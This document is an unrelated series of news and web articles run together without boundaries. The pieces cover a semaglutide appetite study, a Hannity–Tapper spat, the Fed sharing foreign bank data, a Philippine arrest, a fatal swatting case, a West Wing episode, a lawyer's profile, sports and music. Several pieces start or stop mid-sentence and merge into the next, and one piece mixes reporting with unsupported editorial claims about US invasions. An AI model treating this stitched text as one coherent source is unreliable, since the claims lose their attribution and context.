The results were then compared. The research team found that on average the daily energy intake, a measure of the amount of food consumed, was 24 per cent lower with semaglutide.
A further feature of the study was that measured energy expenditure from metabolic processes (the Resting Metabolic Rate) remained roughly the same throughout the experiment suggesting the weight loss could not be due to metabolism becoming more active. Consequently the fat loss produced by the drug could be attributed to better control over appetite.
Professor Blundell added: A drug that reduces daily food intake by about a quarter with a substantial reduction in body fat will help some people to feel more in control of their lives and will help to prevent the onset of poor health that often arises from obesity
Semaglutide is in the advanced stages of development but is not yet on the market.
The study was funded by Novo Nordisk but carried out independently. The University of Leeds was asked to conduct the research because of its expertise in the science and investigation of appetite control.
Further information
Journalists requiring further details or who would like to interview Professor Blundell should contact David Lewis in the University of Leeds press office on 0113 343 8059 or email d.lewis@leeds.ac.uk |
kerfuffle]
“Hey Fake News Jake, I was offered an award, I was unable to attend, and I respectfully turned it down,” Hannity said in a tweet that was liked more than 12,000 times and retweeted nearly 5,000 times.
Then, he kept going.
If @NRO "Never Trumpers" or WFB's son were upset about me receiving the award, they never told me. Now I'm really glad I said "No thanks" https://t.co/33BFWgnlEj — Sean Hannity (@seanhannity) July 21, 2017
Tapper swiftly responded, characterizing Hannity’s tweets as attacks.
1) deny accurate report; attack journalist
2) attack folks who protested his getting the award
3) attack all awards https://t.co/H096DQrHkm — Jake Tapper (@jaketapper) July 21, 2017
Hannity responded in kind.
A) You are a liberal hack and not a journalist. B) @NRO is "never trump" like you. C) Chris Buckley never called me. D) I declined-conflict https://t.co/HbURUJJXsN — Sean Hannity (@seanhannity) July 21, 2017
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On December 18th, 2008, a 10 year-old 5th grader named Chao Qun Zheng went to his elementary school in HeNan, China.
When his teacher, Guo, found out that young Zheng had not completed his homework, she flipped out.
“She was very angry at the time,” he said. “She ripped and twisted my cheeks with both her hands and then she lifted me off the ground.”
The teacher held the boy up until one of his cheeks actually ripped off and the boy was bleeding profusely.
Without hesitation the teacher reached down and picked up Zheng’s cheek skin, put it on his face, and instructed the boy go home immediately.
When the parents saw Zheng, they immediately took him to the hospital where it took 52 stitches to have his cheek sewn back on.
Zheng’s father has reported the case to the police and is expected to press for damages.
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While some may have called it a conspiracy theory at one point, a new report is shedding light on the United States Intelligence services’ cozy relationship with the nation’s central banking structure, and how they collaborate to spy on foreign banks.
Confidential accounts within the Federal Reserve have been used by the U.S. Treasury and other departments “several times a year to analyze the asset holdings of the central banks of Russia, China, Iraq, Turkey, Yemen, Libya and others,” according to a report from Reuters that cites more than a dozen current and former senior U.S. officials.
“The U.S. central bank keeps a tight lid on information contained in these accounts. But according to the officials interviewed by Reuters, U.S. authorities regularly use a ‘need to know’ confidentiality exception in the Fed’s service contracts with foreign central banks.”
The report claimed that the exception was used by U.S. federal officials “to glean information about the movement of funds in and out of the accounts.” That information was then used to help the U.S. “monitor economic sanctions, fight terror financing and money laundering, or get a fuller picture of market hot spots around the world.”
The Federal Reserve was established in 1913, and the current headquarters in New York houses around $3.3 trillion in assets from around 250 foreign central banks—which adds up to about half of the world’s dollar reserves.
“In all, the people interviewed by Reuters identified seven instances in the last 15 years in which the accounts gave U.S. authorities insights into the actions of foreign counterparts or market movements, at times leading to a specific U.S. response.”
The report cited a case from March 2014, in which U.S. intelligence used the Federal Reserve loophole to monitor Russia after its invasion of Crimea. As a result, when the Obama administration responded by placing economic sanctions on Russia, and the foreign holdings at the New York Fed dropped by $115 billion, the U.S. automatically knew that Russia’s central bank had pulled its funds.
The Federal Reserve acknowledged the practice of disclosing account intelligence, but attempted to downplay it, by claiming it was only used on “rare occasions.”
“While our account agreement does provide for the sharing of information with the U.S. government in limited circumstances, we require a clearly demonstrated need for the information and a commitment that the information will be treated confidentially,” a New York Fed spokeswoman told Reuters. “This exception has been used on rare occasions and on a limited basis for such issues as compliance with sanctions requirements and anti-money laundering principles.”
Reuters noted that the requests from information through the Federal Reserve “became more frequent after the passage of the 2001 U.S. Patriot Act, mostly from the Office of Foreign Assets Control, a Treasury division enforcing sanctions and targeting terrorist financing, money laundering, and weapons and drugs trafficking.”
The Free Thought Project has reported on multiple instances of the failure of the Federal Reserve. In June 2016, former Federal Reserve Chairman Alan Greenspan even warned that the world is in “the worst period” he has ever seen.
“If we went back on the gold standard and we adhered to the actual structure of the gold standard as it exited prior to 1913, we’d be fine,” Greenspan said. “Remember that the period 1870 to 1913 was one of the most aggressive periods economically that we’ve had in the United States, and that was a golden period of the gold standard. I’m known as a gold bug and everyone laughs at me, but why do central banks own gold now?”
Even Donald Trump called for an audit of the Federal Reserve. However, like most of his promises, this one will most likely be broken too — just as Ron Paul predicted last year.
It is so important to audit The Federal Reserve, and yet Ted Cruz missed the vote on the bill that would allow this to be done. — Donald J. Trump (@realDonaldTrump) February 22, 2016
There have also been multiple versions of legislation seeking to “Audit The Fed,” in order to gain insight into how the world’s most powerful financial institution conducts its business. The latest version was sponsored by Kentucky Sen. Rand Paul, and was approved by the Republican-controlled Committee on Oversight and Government Reform in March.
While the report does serve as a reminder of the capabilities of U.S. intelligence, it shouldn’t come as a surprise. Countries such as Iraq, Libya and Syria have all felt the wrath of the United States after their respective leaders chose to drop the U.S. dollar—and each invasion should serve as a reminder of the power of coercion between the government and the media to push an agenda that furthers the U.S. central banking system.Was it a coincidence? Or the work of a fortune teller perhaps?
Before the police announced the arrest of Ronnie Dayan, alleged bagman of Senator Leila de Lima, in La Union on Tuesday noon, reports of his arrest have started circulating over the weekend.
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But Philippine National Police (PNP) chief Director General Ronald “Bato” Dela Rosa, citing information from Pangasinan police, denied twice in separate press conferences that Dayan had been arrested.
“It was confirmed by the regional director of Ilocos and provincial director of Pangasinan that no arrest happened. They keep on insisting that Dayan was arrested but as far as the police is concerned, that’s a hoax,” Dela Rosa said in a media briefing at Camp Crame on Monday.
Text messages circulating purportedly based on intelligence information said Dayan was arrested in a mall in Quezon City around 3 a.m. on Saturday. Members of the PNP Criminal Investigation and Detection Group (CIDG) then brought him to Urbiztondo, Pangasinan, where he had a house De Lima allegedly gave him.
The message also said Dayan is being pressured to link Vice President Ma. Leonor “Leni” Robredo to illegal drugs. The drug money was allegedly used to finance her vice presidential campaign since she was very vocal that she lacked funds for the campaign.
If Dayan would give in to the pressure from authorities, the PNP will made public Dayan’s arrest on November 22. But if he refuses to link Robredo, he will be killed while putting up a fight with the arresting officers.
Dela Rosa quickly debunked the reports, calling it “improbable and far-fetched” if the police would indeed pressure Dayan to drag Robredo’s name into the drug issue.
“Grabe naman na theory yan, i-link si VP? Sino nag-isip niyan? Grabe naman, napaka-wild na pagiisip,” he said.
The police chief, who previously taunted Robredo for her disappointment with the police for secretly coordinating with the Marcos family in burying the late dictator Ferdinand Marcos, expressed disbelief that Robredo, being a good woman, would be involved in drugs.
“Napakabait na babae ‘yung si VP tapos kasama sa droga? Paano mangyari ‘yan?” Dela Rosa said.
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“As far as the police is concerned, that’s a very very improbable, far-fetched news. Out of the blue ‘yang balita na ‘yan. Bakit naman ganyan,” he said.
Dayan was arrested around 11:30 a.m. at Sitio Turod, Barangay (village) San Felipe, San Juan, La Union. The operation was conducted by CIDG-La Union, and the provincial police offices of La Union and Pangasinan.
From La Union provincial police, he will be transported to the PNP headquarters at Camp Crame where Dela Rosa will present him to the media at 4 p.m.
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MOST READThe Los Angeles Police Department has arrested a 25-year-old man who is suspected of sending a SWAT team to a private residence in Kansas, resulting in the death of a 28-year-old man.
NBC News (via Engadget) reports that the LAPD arrested Tyler Barriss on Friday after allegedly providing Andrew Finch’s address to Wichita authorities. The incident was precipitated by an argument between two Call of Duty over a $1.50 wagered game, one of which provided Finch’s address to Barriss, who has a history of making bomb threats and went by the Twitter handle SWAuTistic. In an interview with YouTube channel DramaAlert the person allegedly behind handle admitted to placing the call, saying that “he loves swatting kids who think nothing is going to happen,” and alluded to causing an evacuation at the FCC. Sources told NBC News that Finch was not involved in the dispute.
“Swatting” is an incident in which someone makes an anonymous, fake emergency call to a local police department, designed to prompt a tactical response from a local SWAT team. Barriss allegedly called the Wichita Police Department, saying that he shot his father in the head during a family dispute and that he was holding his family hostage. He provided authorities with Finch’s address, believing it to be the location of one of the gamers. Wichita’s SWAT team arrived at the location and ordered Finch to raise his hands when he appeared in the door, and was shot by an officer. Finch’s family has set up a GoFundMe campaign for his funeral.Well, ladies and gentlemen, you may or may have not noticed that our fellow Film School Web Series director, Jeremy Hyler, did not make it to the Crash The Super Bowl finals. When I saw his entry, I thought it would be a shoe-in. It was hilarious, creative, and just a little wacky, and that bit of wackiness is what I thought would be the trigger that would get everyone taking.
Maybe, I’m being biased since the cast and crew from Film School Series is part of the Pixelated Geek family.
But, in the end, at least it will be online forever for us to laugh at and enjoy. A big pat on the back to Jeramy Blackford (Baby), James Huneycutt (Dad), Rebecca Bruder (Mom), Phillip Wright (Doritos Cruncher), David J Mack (Doctor) and of course Jeremy Hyler (Director). Job well done.22nd episode of the second season of The West Wing
"Two Cathedrals" is the 44th episode and second season finale of The West Wing. It was first broadcast on May 16, 2001. President Bartlet is beset by memories of Mrs. Landingham as her funeral approaches. Meanwhile, the staff deals with a crisis in Haiti and questions from congressional Democrats regarding the President's health, following his disclosure that he has MS. "Two Cathedrals" is widely considered to be one of the greatest episodes of The West Wing and one of the greatest television episodes of all time.[1][2][3]
Synopsis [ edit ]
Leo is talking to two Democrats who are convinced that the MS cover-up will be impossible to campaign with. When asked whether the President will run for re-election Leo says that there will be a press conference that night, and that they should watch.
Toby is preparing the Mural Room for the President's statement when Sam asks if the President is ready, so soon after Mrs. Landingham's death. Toby tells him that they have no choice and despite her funeral they will be proceeding with the plan. During the episode Toby is offered a 'lifeboat' by way of a job offer, but turns it down in a show of loyalty to the President. CJ asks Carol to gather reporters from several news agencies in her office. Josh gives her a brief for a press briefing about an ongoing tobacco lawsuit, but she tells him that with the story the President is about to reveal, even news about the situation in Haiti will be ignored by the press.
Throughout the day, the President keeps visiting his early memories of Mrs. Landingham (Kirsten Nelson) when she was a secretary at the school where Bartlet's father was headmaster. She pushes Bartlet (Jason Widener) to talk to his father about why the women were paid less money than the men. Mrs. Landingham clearly sees something in Jed, "a boy king" who was "blessed with inspiration." She comments that if Bartlet won't say anything because he's afraid or can't be bothered, then she doesn't even want to know him. He then puts his hands in his pockets, looks away and smiles, which Mrs. Landingham knows to mean that he's decided to do it and will talk to his father.
Bartlet and his staff attend Mrs. Landingham's funeral at the National Cathedral. Afterward, Bartlet remains alone in the cathedral, cursing God in Latin. He then lights a cigarette, drops it on the cathedral floor, and grinds it under his foot before angrily declaring that he will not run again ("You get Hoynes!").[4] Later, in the Oval Office, during a pre-season tropical storm, Bartlet has a vision of Mrs. Landingham, who tells him that if he isn't going to run because he thinks he won't win or because it will be too hard, she doesn't even want to know him. Bartlet and his entourage then travel to the State Department to give a press conference. Scenes of the motorcade driving in the rain are juxtaposed with scenes in the cathedral, where a janitor finds the extinguished cigarette. For the press conference's first question, Bartlet disregards advice to call upon a handpicked reporter who will not ask about reelection. The chosen reporter immediately asks the President if he will seek re-election. He puts his hands in his pockets, looks away, and smiles.
Production [ edit ]
Writing [ edit ]
Aaron Sorkin explained that the Latin monologue in the National Cathedral was written in the language in order to avoid censorship by network NBC.[5] NBC initially refused to allow a line where Mrs. Landingham describes the President's father as a "prick". Sorkin explained its use: "It was the right word and the slightly startling nature of it was really what you needed.".[6]
Casting [ edit ]
Casting director Kevin Scott described the process of casting the younger version of Bartlet and Mrs. Landingham: "We were looking for Martin Sheen at about 17 and Mrs. Landingham at about 22. That was not easy. It wasn't just about a look, but a quality that each actor has, I wanted to hire actors that would make you say, 'Wow! That is Kathryn Joosten at 22. That is Martin Sheen as a teenager."[7] C.J. instructs the President to select medical correspondent Lawrence Altman of The New York Times for the first question, although he does not. While portrayed by an actor (Alfred Hurwitz), Altman is the name of the Times' medical correspondent, who for decades reported on the health of presidents and vice presidents.[8] The episode's producer Lawrence O'Donnell also appeared as Bartlet's father, and Jane Lynch appeared as a reporter in the White House Press Room.
Filming locations [ edit ]
St. Andrew's School in Middletown, Delaware served as young Bartlet's boarding school. It was the shooting location of Dead Poets Society.[9] During filming in the National Cathedral, in Washington, D.C., Sheen as Bartlet stubbed out a cigarette on the floor prompting the Cathedral to ban filming inside the building.[better source needed]
Music [ edit ]
"The reason I think the song worked so well in it, [is] the piece was about rising above something for self, and doing something for the collective, and in The West Wing there was always a battle going on between right and wrong." — W. G. Snuffy Walden[11]
The episode featured the song "Brothers in Arms" by Dire Straits. The show's composer W. G. Snuffy Walden explained that Sorkin had specified the use of the song: "There was no question that this song was going to end the show which is really quite rare."[11]
Sorkin, however, explained in 2017 that he initially had some reservations about the use of the track:
Driving around in my car trying to work on the episode was really the first time I listened to the words and thought 'this is too good to be true. This is gonna really work well.' And on the one hand I felt like, ‘am I handing off the end of the second season of The West Wing to Dire Straits and then saying you guys take it away?’ And then I thought, or rationalized, no, that this was all gonna be OK. Aaron Sorkin, speaking to The West Wing Weekly about "Two Cathedrals"[12]
Reception [ edit ]
Themes [ edit ]
In an essay entitled "The White House Culture of Gender and Race in The West Wing: Insights from the Margins" Christina Lane argued that the influence of "peripheral" female and African American secretarial characters, such as Mrs. Landingham in "Two Cathedrals", was evidence of a feminist theme in the series. Lane highlighted the influence of Mrs. Landingham over Bartlet's actions in flashbacks, in challenging gender pay inequity at the school where his father is headmaster, and when she appears to him in the Oval Office, writing that the episode "provides yet an even more poignant reinforcement of male feminist values". She argues that, in "Two Cathedrals", "for the first time, the series makes it clear that Mrs. Landingham has helped mold Bartlet into the leader he is today, that it is his own alignment with the women of the world, and specifically the secretaries of the world, that propels him to conduct the work of the presidency."[13]
Critical reception [ edit ]
'"Two Cathedrals" is widely regarded as one of The West Wing's greatest episodes and as one of the greatest television episodes of all time.
Awards [ edit ]Attorney Dan Gustafson: “I had no idea it was going to take this long, be this complicated, be this important. I had absolutely no idea.”
Dan Gustafson has never been a big planner.
He certainly wasn’t planning on becoming a lawyer when he dropped out of high school, and he wasn’t thinking much about politics as he worked as a line cook at Country Kitchen in Moorhead, Minnesota. And on a recent September afternoon, as he stepped up to a makeshift podium in front of a throng of television cameras, he said he didn’t plan any kind of speech. “Fire away,” he told reporters.
The 57-year-old attorney would eventually make a name for himself in antitrust and medical device cases against big corporations. Even after that, though, he wouldn’t have mapped out where he’s ended up today: as one of the central figures in a high-profile class-action lawsuit that could upend the way the state deals with some of its most dangerous sex offenders.
But in some ways, Gustafson’s blue-collar upbringing helped prepare him to be smack dab in the middle of a legal and political debate over the constitutional rights of more than 700 people locked up in the state’s sex offender treatment program — also known as his clients.
“That’s just part of his personality,” said Karla Gluek, Gustafson’s law partner. “He’s lived a lot of different kinds of lifestyles, and he can relate to people in a lot of different backgrounds.”
From Moorhead to Minneapolis
Gustafson spent his early life in Minneapolis, but his parents divorced when he was about 10, and he moved to Moorhead to be with his mother. By the time he got to high school, troubles at home prompted Gustafson to look for an avenue to get away from his family. He was working as a cook at Country Kitchen when someone mentioned a manager opening at a different location in Twin Falls, Idaho. It seemed like the perfect opportunity to get away, so he took it.
But after years of working in the service industry, Gustafson was tired. “In the restaurant business, when everyone else is off, you are working,” he said. He got his GED at age 19 and enrolled at the University of North Dakota four years later, studying sociology and economics.
He had a hunch he might like the law, so he took the Law School Admission Test. “I thought I’d see how that turned out, and I did well, so I thought, ‘OK, I’ll go to law school,’” he said.
Before long, Gustafson was back living in Minneapolis to attend the University of Minnesota Law School. His first job out of school was clerking for the U.S. District Judge Diana Murphy. Eventually he took his first lawyer job at what is now the Lockridge Grindal Nauen law firm in Minneapolis.
Early on in his career, Gustafson was thrust into antitrust class-action lawsuits. In 1995, he worked on the so-called “Catfish case,” in which Minnesota-based Hormel Foods Corp. and ConAgra Inc. were alleged to have conspired with other companies to fix prices on processed catfish. None of the companies acknowledged wrongdoing, but they agreed to pay $21.1 million to settle the case.
Gustafson went on to become a founding partner at the Heins Mills & Olson firm, where he continued to carve out a niche in antitrust and mass tort cases. “Most lawyers, I think if they told you the truth, would say their career was decided for them,” Gustafson said. “Firms need help in certain areas and you just end up doing that.”
In 2003, Gustafson co-founded his own firm with Gluek, who worked with him at Heins Mills & Olson. At Gustafson Gluek, they grabbed headlines in 2008 for a battery-defect case against Medtronic Inc. that resulted in a $114 million settlement. Three years later, in another case, Medtronic agreed to pay $268 million to settle claims that a wire defect in cardiac defibrillators caused at least 13 deaths. Gustafson was the sole attorney on that case.
The lawyer for people who can’t find lawyers
Gluek says Gustafson has “incredibly good instincts” about what cases to take on, and his upfront style of lawyering has earned him respect in the legal community. “He doesn’t play games with the opposing counsel. He sort of says it like it is,” said Gluek. “That gives him credibility on all sides.”
Gustafson also worked with Chief U.S. District Judge Michael Davis to set up the Federal Pro Se Project, which gives federal judges an avenue to match up lawyers with people attempting to represent themselves in court. Tiffany Sanders, who runs the project in Minnesota, turned to Gustafson for more than a dozen cases in the first five years of the program, more than any other person or firm. In Minnesota, he became the go-to lawyer for people who can’t find lawyers.
In one case, Gustafson represented a man who was suffering from mental illness and was sent to Hennepin County jail, where his condition worsened. Gustafson got a settlement in the case that changed the way the jail handles people struggling with mental health issues. In another case, he represented a Muslim man who wasn’t served halal meals in state prison. Gustafson negotiated a settlement that changed the Department of Corrections’ policy for serving halal-certified meals.
In 2011, the Federal Pro Se Project received a case from clients in the Minnesota Sex Offender Program (MSOP), a high-security treatment facility for offenders still deemed dangerous to the public.
The offenders, most of whom had been civilly committed to the program after they served their time in prison, argued their rights were being violated because the program promised treatment but rarely let anyone out. The case had class-action potential, and Sanders knew Gustafson could handle such complex litigation.
“It’s not the most popular type of case to take, you are dealing with some dangerous people, but I knew he was the type of person who wouldn’t shy away from that,” Sanders said. “He takes these takes case for the right reasons. People need help and he is in the position to help them.”
Making it a fair fight
Gustafson doesn’t carry himself like most attorneys. Tall, he wears rimless glasses and suspenders, his hair cropped close but slightly disheveled. He leans far into the podium in the federal courtroom, and he sinks back and deep into his office chair as he talks.
The inches of his office are lined with pictures of his family. Married with three adult children, he’s now a grandfather, and likes to spend time on his hobby farm in Nowthen, Minnesota, where his family makes honey.
At least when he has time. Gustafson and his firm took on the MSOP case on a pro bono basis. Four years later, it’s grown to include 720 men and one woman locked up in the program, which has campuses in Moose Lake and St. Peter.
From the start, Gustafson argued the state-run program violates constitutional rights of offenders because it offers the promise of treatment while giving offenders few opportunities to ever get out. Gustafson and his team have traveled across the country to look at how other states run their programs. Nineteen other states civilly commit some sex offenders to treatment programs after their prison sentence, but Minnesota commits the highest rate of sex offenders per capita.
Last fall, a panel of experts agreed with Gustafson and recommended the immediate and unconditional release of one offender, with more likely to follow. Judge Donovan Frank didn’t order the offender’s immediate release, but in June he ruled the entire program unconstitutional because of the hopeless environment within MSOP. In October, Frank will issue an order calling on the state to make changes to the program.
It’s the moment Gustafson and his clients have been waiting for for years, and it’s taken a while to get here. Gustafson is regularly reminding his clients that complex cases like this take time. “They often don’t want to hear what I tell them,” Gustafson said. “They have been uniformly dissatisfied with the pace of the case.”
Gustafson compares the MSOP case to death penalty cases and civil rights cases in the 1960s and 1970s. Nobody wanted to take them on, but people need lawyers, he said. Even sex offenders. “Somebody needed to do it and I think it’s important to do those kinds of cases,” Gustafson said. “It doesn’t work when one side doesn’t have a lawyer. The system is set up as an adversarial system. If you have a lawyer on one side and a non-legal person on the other side it’s not a fair fight.”
Gustafson knows some of the people in the program are truly dangerous, but his case has never been about opening the doors of MSOP indiscriminately, letting people out en masse. He wants to see changes made to the program to help move people who are less dangerous through the treatment process and give them less restrictive living alternatives. Some people in the program are victims of a “vicious cycle,” Gustafson said. They were abused as kids and went on to commit abuse themselves, many before they even turned 18.
“I was surprised how many of them were victims as children of sexual or physical abuse,” he said. “When you hear people say you need to break the cycle, I see that more clearly now. The victims become the abusers.”
‘It will take the rest of my career’
The state continues to maintain that the program is constitutional, and plans to immediately appeal Frank’s order to the Eighth Circuit Court of Appeals. That could potentially set in motion another year or two of waiting for a resolution, Gustafson said.
In taking on the case, Gustafson didn’t just take on a legal fight — he inserted himself into a long and contentious political debate. Certain legislators have pushed to make changes to the program, such as establishing less restrictive facilities to house certain offenders, such as the elderly or the disabled. But sex offenders are a stigmatized group, and neither political party has wanted to take any action that could lend itself to campaign attacks about releasing sex offenders.
Ultimately, Gustafson would like politicians to be the ones who make changes to the program, but he doesn’t expect it to happen at this point.
Beyond the next several years, Gustafson isn’t planning out much (“I used to say this case would take five years, now I think it will take the rest of my career”). He probably won’t make major changes to his practice after this case is over.
And he is definitely not planning to jump into politics himself anytime soon. “Somebody asked me once if I would ever run for governor,” Gustafson joked. “I don’t think this would be the launching pad for a run for governor.”It’s the Halo experience you’ve dreamed of – controlling entire armies of Marines, Warthogs, Scorpion tanks, and Spartans on the battlefield from the Commander’s point of view. Halo Wars 2 is a real-time strategy game playable in native 4K Ultra HD graphics with HDR on the Xbox One X and Windows 10. Halo Wars 2 also supports Xbox Play Anywhere: Buy once, play on both Xbox and Windows 10. All-new, Action-packed Story – The heroes of Halo Wars awake to find themselves - and the galaxy - in more danger than ever. Following the events of Halo 5, the all-new story is told in action-packed missions set on the legendary Halo destination known as the Ark. Players will command overwhelming firepower in large-scale battles against a terrifying threat facing the UNSC and all of humanity. Build Your Halo Army – Construct your bases, prepare your vehicles and amass your troops. Lead them into huge battles across campaign skirmish matches against the AI, and with and against friends in up to 3v3 matches on Xbox Live. Learn new strategies as you play as different leaders across Blitz and Multiplayer game modes. With Halo Wars 2, you’ll be able to explore and battle in the Halo universe like you never have before. Online multiplayer features require Xbox Live Gold membership (sold separately). PHOTOSENSITIVITY SEIZURE WARNING: A very small percentage of people may experience a seizure when exposed to certain visual images, including flashing lights or patterns that may appear in video games. Visit Xbox.com for more information.
Show MoreThe Immortals are back and there here to discuss the three things that may bring down our next President: Sex, Lies and Videotape! Also, did you know there was a movie with that same name? Anywho, they also make time to listen to some Goldie, eat some urd, feel hurt, ignore a book and battle droids with clone soldiers! It’s a totally normal assortment of things to talk about!
Intro 0:00 – 5:58
Sex, Lies and Videotape 5:58 – 28:56
Timeless 28:56 – 37:07
Urd 37:07 – 49:35
Hurt 49:35 – 1:07:23
Neitah: A Girl in the Far North 1:07:23 – 1:08:00
Star Wars: The Clone Wars 1:08:00 – 1:29:02
Outro 1:29:02 – 1:40:25
—Johnny Cash’s version of Hurt
–Leave your own henge ratings at TheArtImmortal.com
–Be sure you leave an iTunes review so Pedro can give you a compliment on air.
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Join us Thursday next as we discuss more things. Until then, email or tweet us your thoughts, leave a review on iTunes and other crap every podcast asks you to do. (But we love that you do it!)
Artwork by Ray Martindale
Opening tune by Adam LordKarapatan on Friday said that Armed Forces of the Philippines (AFP) is lying through its teeth to justify its human rights abuses.
“As attacks of the Armed Forces of the Philippines (AFP) intensify against rural communities all over the country, their concoction of make-believe stories and alibis to cover up the rights abuses continue,” Karapatan secretary general Cristina Palabay said in a statement.
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According to the human rights group, the 73rd Infantry Battalion-Philippine Army (IBPA) dropped six bombs at Sitio Tangis in Sanrangani and in its nearby areas after a reported encounter between the AFP and the New People’s Army (NPA) last February 11.
The next day, AFP confronted and illegally arrested eight civilians who were all from Kaolo tribe, planting guns in their huts and accusing them of being members of the NPA. Palabay said that the farmers only knew of the trumped up charges against them three days after their arrest, which also makes the case for arbitrary detention.
“Unfortunately, this is the story of many political prisoners in the country, mostly from the peasant sector,” Palabay said.
“There is a long list of military ploys that have caused the endangerment of civilian communities,” she added.
Karapatan cited several claims of AFP, such as having a run-in with the NPA, but a resident who lived across the alleged encounter site in Maddela, Quirino Province attested that there was no such confrontation, and that Gilbert Buyucan, Barangay (village) Captain of Cabua-an was taken hostage by the NPA, but the latter himself denied such allegations.
“In the AFP’s record of rights abuses, including trumped-up cases against leaders and members of progressive organizations, there is no doubt that they have become notoriously prolific in manufacturing fictitious narratives that could rival the storytelling of fiction authors,” Palabay said.
“Their acting may have earned them standing ovations from those who benefit from their fascist attacks, had it not meant injustice … against the people,” she added.
Karapatan earlier claimed that the military involvement in President Rodrigo Duterte’s war on drugs will only worsen the human rights abuses./rga
And with this, “rights abuses sugarcoated with lies to put the blame somewhere else will continue to be fed to the public,” Palabay said.
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“As violations heighten, so will the deceitful excuses to justify the unjustifiable,” she added. RAM
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MOST READIt's hard to be optimistic about climate action, not in a week when federal scientists reported that the Arctic shows no sign of returning to the "reliably frozen region of recent past decades".
Not in a month when California's wildfires show every sign of burning straight through Christmas.
And not in a moment when the federal government keeps scrubbing basic climate information from its websites.
But something big is starting to shift.
After years of effort from activists, there are signs that the world's financial community is finally rousing itself in the fight against global warming. A foretaste came last month when Norway's sovereign wealth fund - the world's biggest - said that it is considering divestment from holdings in fossil fuel companies.
The Norwegians are far from the first to consider such a move - investors controlling more than US$5 trillion (S$6.7 trillion) in assets have committed to dropping all or some of their fossil fuel stocks - but they are the biggest.
And since their fund had been built on the revenues from North Sea oil, it was especially significant. It was as if they were preparing to cash in their chips from the hydrocarbon casino and head out to look for a new game.
Then, in short order last week:
•The European insurance giant Axa announced it would divest itself of more than US$825 million in investments in oil production and pipelines in the tar sands of Canada for both ethical and business reasons. The planet could see temperature increases as high as 4 deg C, noted Mr Thomas Buberl, the company's chief executive, a development he called "not sustainable and, therefore, also not insurable". He added: "As the father of two children, I really want to do the most I can with the company I am leading" to slow the rate of planetary destruction.
•ExxonMobil threw in the towel and said it would begin performing assessments of how climate policy will affect its various ventures, after about 62 per cent of its shareholders voted in May to demand such action. This capitulation to activist investors will make it ever harder to justify a business model of burning more carbon, and the idea is spreading: The governor of the Bank of England, Mr Mark Carney, said last week that 237 companies with a market capitalisation of more than US$6 trillion, including 20 major global banks, were |
Basketball-Reference's Box Plus-Minus—return to the lineup.
Stuckey adds an off-the-dribble creator the Pacers offense has desperately needed. Miles is a reliable outside shooter who can both defend his position and help space the floor.
While the Pacers will get better as injured players return to the floor, they should also improve as some of their early surprises continue to develop. Solomon Hill has been an enormous surprise and looks ready to contribute in a big way throughout the season.
In a round-table discussion at NBA.com, John Schuhmann talked about Solomon Hill as a player who had really impressed early this season:
Solomon Hill is a guy who spent a lot of time on the inactive list as a rookie last year and who looked a little overwhelmed at the start of this season. But he’s shown a lot of improvement as the depleted Pacers have won three of their last four. I don’t know if he’s ever going to be a full-time starter in this league, and he basically “opened my eyes” in one game, looking rather comfortable running the pick-and-roll and finding good shots against the Bulls’ defense on Saturday. But he could be a solid rotation guy as the Pacers get healthy, with this experience as a starter being an important part of his development.
In addition, Roy Hibbert has looked very solid, continuing to control the interior on defense as well as finishing around the rim much better than he did last season. Lavoy Allen has also been a pleasantly unexpected contributor, doing great work on the glass and revealing a dangerous pick-and-pop game.
You can make an argument that playing up to their abilities this season may not be the best long-term plan for the Pacers. A high lottery pick would be a great way to help reload for a deep playoff run when George returns next season. That being said, this team appears to be all in on an effort to win as many games as possible this season.
If they can just get healthy, that number could be far higher than most people expected.When Regina Spektor's son was born in early 2014, the acclaimed singer-songwriter and pianist worried she'd have no little to no time to dedicate to her songwriting. Even worse, she tells Esquire that she feared she'd be so tired her creative well might run dry.
"That's the thing that surprised me the most," she says. "I actually was able to work more than I had in many years."
As Spektor explains, the arduous, sleep-deprived process of raising a newborn helped her focus on her craft like never before. "I would use the 30 minutes that I would have thrown away seven times over in the previous part of my life and I would write a song in it," she says, detailing a concentrated process that led the 36-year-old to write and record her seventh album, and arguably her most adventurous one yet, Remember Us to Life, due Sept. 30. "A friend of mine was saying that she felt having a baby concentrated her into a being and everything that had been fuzzy around the edges you're able to really use yourself in a very full way with full power," Spektor continues. "I definitely found that to be true."
The woman dubbed "her generation's Joni Mitchell" by Rolling Stone has long made a habit of spinning fictional, winding tales into songs that utilize humor and absurdity for the purpose of pointed social commentary. Her new LP is no different. Over a jaunty summertime stroll of a piano line on "Older and Taller," Spektor addresses the cruel reality of ageism ("And you retired just in time / you were about to be fired / for being so tired / from hiring the ones who will take your place"). One song later, on the beatific "Grand Hotel," in what might be the most stirring song of her career, the Russian-born singer weaves a tale of adolescent escape littered with mythic obstacles ("And running through forests, they screamed in chorus / while piercing fair maidens / dressed in their horns"). "It's my favorite thing to get lost in a story because you can learn about yourself," she says.
Spektor also pushed the sonic boundaries this go-round: "With this record I felt like I got to a place I've always wanted," Spektor offers, specifically referencing her unencumbered ability to use her classical music background to full effect this time by employing "orchestral colors" on several songs and, on tracks like the ominous "Small Bill$," playing around with a variety of synthesizers in new and exciting ways.
ESQ: I imagine your life changed in a major way since becoming a parent following 2012's View From the Cheap Seats. How did that affect you as a creative?
Spektor: I actually did more writing. All of these songs on this record—the record has 11 and the deluxe has 14, but really there were more that just didn't get put on the record—got written in that time. And I have to say, I thought I would write a lot more when I was pregnant, like, "Here I am just wobbling around the house," but I didn't really want to. I felt really guilty about it: I have this time now and I won't later. But I just wanted to cook and take a lot of art in. I wanted to go to a concert or go see a play and watch a lot of shows on Netflix. But pretty early after having the baby, it's almost how if someone breaks their leg you have to start doing physical therapy really soon before it's even fully healed. So even though you're tired and really overwhelmed, you can still start little bits of finding time for yourself, even if it's 15 minutes. And once I did, I would use it really well. Of course it's also a really fucking hard time. [Laughs] But it's also really incredible.
That sleep deprivation could potentially lead to lucid insight.
Painters like Picasso and Dali, they used to fast—everybody used to take drugs and every other kind of thing and every upper and downer and sideways-er that you could find to get into an alternate state of mind. Because that's the thing every artist, painter, writer wants: They're dying to pop out of their perspective, just even for a second, and get a glimpse. It's like you're trying to see yourself from the back just for a second.
There's often an emphasis on an artist being creative in their younger years, but I'm of the belief that an artist doesn't hit his or her creative stride until later in life. Have you found that to be true?
